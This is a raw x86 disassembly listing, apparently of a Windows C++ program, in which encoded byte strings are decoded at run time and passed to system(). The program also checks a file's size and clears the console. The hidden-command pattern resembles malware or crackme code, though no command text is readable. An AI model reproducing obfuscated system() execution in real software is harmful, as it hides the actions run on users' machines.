mov eax, dword [edi + 0x6d4]
mov dword [ebp - 0x284], 0x9cd02477
mov word [ebp - 0x280], 0x95bc
test al, 1
jne 0x406d68
or eax, 1
mov dword [edi + 0x6d4], eax
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0x3de], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x3d8], al
add ecx, 1
adc edx, 0
jne 0x406d5b
cmp ecx, 6
jb 0x406d40
push 0x413170
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0x3d8]
mov ecx, esi
call fcn.0040cbb0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x40691b
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x358], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x406dcb
mov eax, dword [ebp - 0x398]
lea ecx, [ebp - 0x368]
cmp dword [eax], ecx
jne 0x406dcb
mov edx, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x354]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x388]
mov dword [eax], ecx
mov eax, dword [ebp - 0x378]
mov dword [eax], edx
cmp byte [ebp - 0x35c], 0
je 0x406ddf
lea ecx, [ebp - 0x3a4]
call fcn.0040d520
lea ecx, [ebp - 0x3a4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x39c]
mov byte [ebp - 4], 4
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x344]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x29c]
call fcn.0040ba10
cmp dword [ebp - 0x288], 0x10
lea eax, [ebp - 0x29c]
push 0x414408
cmovae eax, dword [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x2f8], 0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
push 2
push 0
push dword [ebp - 0x2f8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push dword [ebp - 0x2f8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push dword [ebp - 0x2f8]
mov esi, eax
call edi
mov edx, dword [ebp - 0x288]
add esp, 0x20
cmp edx, 0x10
jb 0x406eac
mov ecx, dword [ebp - 0x29c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ea2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x406ea2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0040fbef
add esp, 8
cmp esi, 0x2328
jle 0x406ebb
mov bl, 1
jmp 0x40691d
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a0]
movsx ecx, word [ebp - 0x29c]
mov esi, dword [ebp - 0x2f8]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a0]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x290], 0xc03fdaf6
mov dword [ebp - 0x28c], 0xa23daed
mov word [ebp - 0x288], 0xb3f7
mov eax, dword [edi + 0x1fc]
test al, 1
jne 0x406fbc
or eax, 1
mov dword [edi + 0x1fc], eax
mov byte [ebp - 4], 0x14
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x63e], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x290]
mov byte [edi + ecx + 0x634], al
add ecx, 1
adc edx, 0
jne 0x406fab
cmp ecx, 0xa
jb 0x406f90
push 0x413230
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x634]
call fcn.0040ccd0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x634]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x2e0]
mov dword [ebp - 0x284], 0x9250d849
mov word [ebp - 0x280], 0xb5b4
test al, 1
jne 0x407058
or eax, 1
mov dword [edi + 0x2e0], eax
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0x682], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [edi + ecx + 0x67c], al
add ecx, 1
adc edx, 0
jne 0x40704b
cmp ecx, 6
jb 0x407030
push 0x4131f0
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0x67c]
mov ecx, esi
call fcn.0040cc70
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x40691b
push edx
push ecx
call fcn.0040fbef
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f95d
mov esp, ebp
pop ebp
ret